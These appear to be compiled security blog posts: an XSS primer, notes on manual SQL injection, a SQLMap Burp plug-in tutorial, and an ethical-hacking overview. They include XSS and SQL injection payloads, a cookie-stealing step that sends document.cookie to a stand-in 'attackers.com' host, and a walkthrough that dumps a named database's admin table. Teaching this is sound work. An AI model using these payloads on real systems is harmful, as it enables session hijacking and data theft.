Cross Site Scripting

Cross-Site Scripting also known as an XSS is a kind of a vulnerability typically exist in most of the web applications. Every web application has “Same-origin” policy because of which the application executes only its own script. XSS enables the attacker to break the “same-origin” policy of the application and insert malcious script or code into the web-pages.

Attacker can perform different kinds of attacks by using using XSS. Few of them are

•  Stealing Credentials
•  Stealing Session ID (cookie value)
•  Defacing the Web-site
•  Causing DOS (Denial of Service) and many more….

XSS exists in different forms:

•  Reflected or non-persistant XSS
•  Stored or Persistant XSS
•  DOM Based XSS

Destiny is same but the approach is different. All these types of xss are used for the same purpose and there are several features in common but the flavors(identifying and exploiting) are different 😀

Reflected XSS:
This kind of vulnerability normally exists in the application that uses dynamic pages to display content to the user (for ex: error messages). In general these applications takes a parameter containing a message and simply renders back to the user.
Consider the URL :

http://www.xxx.com/error.html?parameter=learn+hacking

Above url shows a message “learn hacking” in the response of the application. Here the application extracting the message from the url, processes and displays to the user. So the url processes user supplied input and inserts it into the servers response that leads to REFLECTED XSS. And if there is no proper sanitization then the application is definitely vulnerable to Reflected XSS.

The attacker can form a crafted url as follows:

http://www.xxx.com/error.html?parameter=<script>alert(1)</script&gt;

Requesting the above url generates the page that contains the script and displays the alert message.

Exploiting the Reflected XSS:

1. User login’s to the web application and application issues an unique id (session id)  to the URL
2. Attacker sends crafted URL to the user through some means of communication
3.  User requests the crafted URL fed by the attacker 
4. Server processes the url and responds to the user’s request. As the URL is framed with the malicious script, script is executed in the user’s browser in the same way it does on other code.                                                                                                                                                                                       Assume the attackers url is framed as : http://www.attackers.com/cookie=+document.cookie;
5. The code causes the browser to send a request to http://www.attackers.com. And the request contains current session id
6. Attacker uses the Session Id or Cookie Id and hijacks the users session. Now the attacker can perform all the actions in the same way how the user does.

Stored XSS:
This type of vulnerability is quite difference from the Reflected XSS. Normally these kind of vulnerability exist when an application takes an input from the end-user and stores it in the application, then displays to the other users.  For example: Consider Facebook application which allows to comment on pictures or status updates and then displays to all other users on their wall. If the application doesn’t sanitize the input properly then an attacker can write a script in the comment area, so that the users who visits or views particular page or post will be effected.  These kind of vulnerability normally exists in forums, bidding applications etc…..

So Stored XSS attacks typically consists of two things to do.. Initially the attackers visits the application and enters the malicious script into the application. Secondly the user enters into the application and visits the vulnerable page. And the script is executed in the back-end without the knowledge of the user.

DOM Based XSS:

DOM Stands for Document Object Model. To know how this attack works firstly we need to now what is DOM. Find the details from here. DOM Based is quite different from Reflected and Stored XSS. In DOM based when the user clicks on the crafted URL, server response doesn’t consist of any attackers script. Instead the browser executes the attacker’s script while processing the response.
This is because the Document Object Model of the browser has a capability to determine the URL used to load the current page. Script issued by the application may extract the data from the URL and process it. Then it uploads the content of the page dynamically depending upon the script executed through the URL.

 

 

Dumping database using sql injection

I have given an overview of SQL INJECTION (SQLI) in my previous post. As I mentioned you that the SQLI can be done in two ways

•  MANUALLY.
•  AUTOMATION.

Here we are going to discuss the Manual method of injection.

Manual SQL Injection is done by Manually pen-testing the application where the pen-tester or the attacker exploits the SQLI by injecting the malicious/vulnerable string into the application directly by interacting with it and digs juicy information from the application like usernames, passwords, SSN, etc… without using any tool.

Things Required for doing manual Injection is:

•  SQLI vulnerable site
•  Burp Suite(to observe request and responses)
• Patience
•  Bit knowledge in SQL or the database that the application uses.
•  And Brain 😀

(we can use cheat-sheet present in Pentest Monkey for database help)

Learning Objectives:

After going through this post you will be able to

•  Various types of SQL Injection attacks
•  Causes for SQLI
•  Design strategies for avoid SQLI
•  Exploiting the SQLI

Types:

In-general they are broadly categorised into three

1) In-band
2) Out-of-band
3) Blind SQLI

In-band: Also know as Error-Based SQLI. Here the application responds with an error. Uses single channel for communication. It is straight forward method.

Out-of-band: Communication happens using two way channel. Attacker enters data directly but the application responds by sending e-mails etc….

Blind SQL Injection: Here the applications doesn’t pops any error. Instead the attacker need to extract the data by giving true/false questions and observing the responses of the application.

Causes for SQL Injection:

There might be many causes for any kind of vulnerability in the application. They might be because of

• Improper coding
• Developer might not be aware of the vulnerabilities
• Improper validation
• Improper filtering or escaping of the special characters
• Directly inserting the values got from the web-form into the SQL query.

Avoiding SQLI:

•  Using prepared statements is the best solution for avoiding SQLI as the interpreter doesn’t come into the picture each and every time the query is framed.
•  Doing proper validation
•  Escaping the suspicious strings or characters
•  Using Filters or white lists (Allowing only required characters)

Exploiting the Vulnerability:

In-order the exploit the vulnerability, first we need to confirm that the application is vulnerable to SQL Injection. We can test it in many ways by inserting various logical strings to the application like ‘, ‘or’=’, ‘ or 1=1, ‘ or ‘a’=’a’ etc….

I have written an article for exploiting and extracting complete data from the database using all the three types (In-band, Out-of-band, Blind). You can find the article here: Dumping database using SQL Injection.

Also have a look at Web application Security Course offered by InfosecInstitute.

SQL Injection with SQLMAP

SQL Injection:

SQL Injection (SQLi) is a web based attack used by hackers to steal sensitive information from organizations through web applications. It is one of the most common application layer attacks used today. This attack takes advantage of improper coding of web applications, which allows hackers to exploit the vulnerability by injecting SQL commands into the prior web application.The underlying fact that allows for SQLi is that the fields available for user input in the web application allow SQL statements to pass through and interact with or query the database directly.

For example, let us consider a web application that implements a form-based login mechanism to store the user credentials and performs a simple SQL query to validate each login attempt. Here is a typical example:

select * from users where username=’admin’ and password=’admin123′;

If the attacker knows the username of the application administrator is admin, then he can log into the app as admin by entering the username as admin’– and without supplying any password. The query in the back-end looks like:

Select * from users where username=’admin’--’ and password=’xxx’;

Note the comment sequence (–-) causes the followed query to be ignored, so query executed is equivalent to:

Select * from users where username=’admin’;

Hence the password check is bypassed and the attacker is logged into the app as admin. SQL Injection can be tested in two ways – Manual Pen-Testing & Automation.

1) Manual Pen-Testing: This is the process of detecting & exploiting the vulnerability manually. We need to test the vulnerability manually by passing the malicious strings and exploit it. I’ll give a clear explanation of exploiting SQLi manually in my next post.

2) Automated: This can be done by running the tools. There are many tools to find and exploit the SQLi vulnerability, some of them are SQLMAP, ABSINTHE, SQL NINJA, The Mole, etc… . I would love to use some tool which can be attached to a proxy that I use in my work regularly. So I chose SQLMap plugin for burp.

SQLMAP:

SQLMAP is an open source penetration testing tool that helps in automating the process of detecting and exploiting SQL injection vulnerabilities and taking full access over the database servers. SQLMAP comes with powerful detecting engine, and many niche features for the penetration tester and wide range of switches lasting from database fingerprinting, data fetching from the database, accessing the underlying file system and executing the commands on Operating System via Out-of-band Connections.

Since SQLMAP is developed in python it is a portable application, meaning that it will work in any operating system that supports python.

SQLMAP burp plug-in:

When we audit a web application, we normally configure an intermediate proxy to have more control over the request and response parameters. SQLMAP plug-in is an add-on feature that we can configure to the burp through which we can redirect a URL or a request directly to the SQLMAP with a single mouse click.

Plug-in Setup:

1. Download the plugin zip file from the following URL: http://code.google.com/p/gason/downloads/list
2. Unzip the file and keep it in the same folder where burp proxy is located.
3. Then execute the following command to run the burp with plug-in.

Linux:

Java –classpath burpplugins.jar:”burpsuite_v1.4.0.1.jar” burp.StartBurp

Windows:

Java –classpath burpsuite_v1.4.0.1.jar;burpplugins.jar burp.StartBurp

*Replace the burpsutie with the appropriate version that you are using. In my case I am using burpsuite_v1.4.0.1.jar. We also need to download the SQLMAP tool as we need to supply the executable to the burp plug-in.

Setting up SQLMAP:

For Windows,
1. Download and Install python 2.7 –http://www.python.org/getit/
2. Download sqlmap – https://github.com/sqlmapproject/sqlmap
3. Unzip the name.zip file to sqlmap directory.

For Ubuntu or Linux, run the below commands from the terminal

> Sudo apt-get install python-tk python2.7
> git clone git://github.com/sqlmapproject/sqlmap.git
> cd sqlmap
> wget http://gui-for-sqlmap.googlecode.com/files/sqm-60712.zip
> unzip sqm-60712.zip

Setting up the environment:

– If you are using OWASP broken web application, then simply access one of the vulnerable site from your local browser where you are running SQLMAP.
– If you don’t use OWASP broken web application, then you need to set up a virtual machine that has a web server to host the vulnerable web application.
– Configure another VM with ubuntu where the attacker runs SQLMAP

Configuring the Proxy:

– If you are using Mozilla Firefox, then go to Edit > Preferences > Advanced > Network > settings and select “Manual Proxy Configuration” by enabling the radio button. Run the HTTP proxy with local-host and the port in which the proxy is running.
– If you are using Chrome, then go-to settings > Show Advanced Options > Network > Change proxy Settings > Connections > Lan settings.

How to use the plug-in:

Once you load the plug-in, then it is very easy to make use of it. Run the burp proxy with loaded plug-in. In the “site map” tab under the “target” you can see the particular domain that you are trying to test for SQLI and all the crawled pages related to the domain. On the right side click on the URL that you want to test, you can see the request parameters of the URL in the bottom panel. Right click on the request parameters and you can see the option “Send to sqlmap” as shown in the figure below.

Then you can see a new window (SQLMap wrapper) that will allow you to configure sqlmap. Below Image gives you a clear view of the wrapper.

Now lets have an over view of configuration features of the wrapper. In the “Target” text box specify the URL that you are willing to test. (Normally it will be filled by default as you have sent the request parameters previously, if needed you can change the URL).

Specify the method on which the domain is accessible (GET/POST).  In the “Bin-path” give sqlmap executable.

If you are aware of the DBMS of the web application, specify the database by selecting one of the options listed in the dropdown list. By default “auto” is selected which means that the SQLMAP wrapper tries with all the databases listed in the dropdown list to find out the database used by the application.

You can enumerate the database users, passwords, roles, privileges, databases etc by selecting the appropriate option from the Action drop down list. By default it is set to “auto” which means it will try to enumerate all the options listed in the drop down list in the sequential order.

If you are aware of the databases, users, tables, or columns, you can enumerate it by simply specifying it in the Database options.

Tampers are a kind of special characters or symbols that you are willing to insert into the query while pen-testing the application.

Once we configure the SQLMAP click on the “RUN”, this will open a new tab with execution of the program with the configuration that you have given to the wrapper or the SQLMAP. We can make any number of simultaneous execution tabs with difference instances. Below image shows the output tab.

Bored with theory, now lets see an example, the below URL is a vulnerable site for practicing the SQLI. You can also find the SQLI practice URL’s by goggling.

http://192.168.2.3/news-and-events.php?id=22

Id parameter in the above URL is vulnerable to SQLI; lets find it out through our SQLMAP wrapper (Burp suite plug-in).

Open the URL in the browser for which the proxy has been configured. In the proxy (burp) go to the “site map” and click on the URL and send it to the sqlmap by right clicking on the response parameters of the website, as I mentioned previously. Figure below shows you the wrapper opened for the above mentioned URL.

The target specifies the URL we are testing, cookie specifies the cookie or session id.  Wrapper automatically identifies the positions in the URL where SQLI can be injected and specifies list of the parameters in “Parameters to test” text area (in our case we have only one possibility for injection which is “id” parameter).

In this example I have configured the SQLMAP wrapper to enumerate the list of databases that are configured in the backend database.

Above figure shows you the output tab which intend displays you how the plug-in tried to exploit the SQLI vulnerability in different ways

We can see that initially the wrapper tried to exploit the vulnerability by using “Boolean-based blind SQLI” by using AND operator. The payload shows how the tool tried to exploit the vulnerability. Here we can see the payload: id=22 AND 4626=4626, which is equivalent to the following URL:

http://192.168.2.3/news-and-events.php?id=22 AND 4626=4626

As the URL is always true, the above URL returns the same page as of the original URL.

In the second trail it tried “error-based SQLI”. Later by using UNION operator.

From the above figure  we can observe more server details like web server, Operating System, back-end DBMS.

“Information_schema”  and “nilakantatrust” are the two databases that are used by the web application.

Now let us try to enumerate all the tables and the columns of the tables from the above databases.  To do so configure the SQLMAP wrapper Action field with the option “Enumerate database tables and columns”.  Below Figure shows you the same.

Below figure shows us the tables of the database “nilakantatrust”.

Let us see the columns of these tables. Figure below shows the columns and their data types of two tables “est_notice” and “est_news” of  nilakantatrust database.

We can also dump complete database by selecting the option “dump dbms databases”.  And also store complete data into a file by using the option “save to file” in the output tab.

Above figure shows the dumped data of the table “est_admin” from “nilakantatrust” database and storing it into a file.

Conclusion:

SQLMAP is a powerful tool which is used to automate the process of detecting and exploiting the SQLI. I have written an article for infosec institute about this. Complete article is available at infosec institute. Take a look at the web application security course offered by infosecinstitute.

Hacking basics

What is ethical hacking?

Ethical hacking is also called as penetration testing or intrusion testing. It is a process of finding out the vulnerabilities or loopholes and breaking into the IT systems/applications and retrieving the information that is considered to be confidential.

Who are ethical hackers and hackers?

In general Ethical hacking is performed by Ethical hacker’s also known as white hat hackers. Ethical hacker is a skilled computer expert hired by the companies to use his programming skills to attack their networks and computer systems the same way a hacker would do. Ethical hacker uses the same techniques and tricks as those used by illegal hackers or black hat hackers.
So the only difference between the white hat hackers and black hat hackers is that the white hats hacks the system legally to protect or to increase the safety of their networks and systems from black hats. Whereas black hats perform it illegally to access the confidential data

Different kinds of attacks on web applications

According to the Open Web Application Security Project (OWASP) the most top 10 vulnerabilities in web applications are:

•  SQL Injection (SQLI)
•  Cross Site Scripting (XSS)
•  Authentication and Session Management
•  Insecure Direct Object References
•  Cross Site Request Forgery (CSRF)
•  Security Misconfiguration
•  Insecure Cryptographic Storage
•  Failure to Restrict URL Access
•  Insufficient Transport Layer Protection
•  Invalidated Redirects and Forwards

To know more about owasp : http://en.wikipedia.org/wiki/OWASP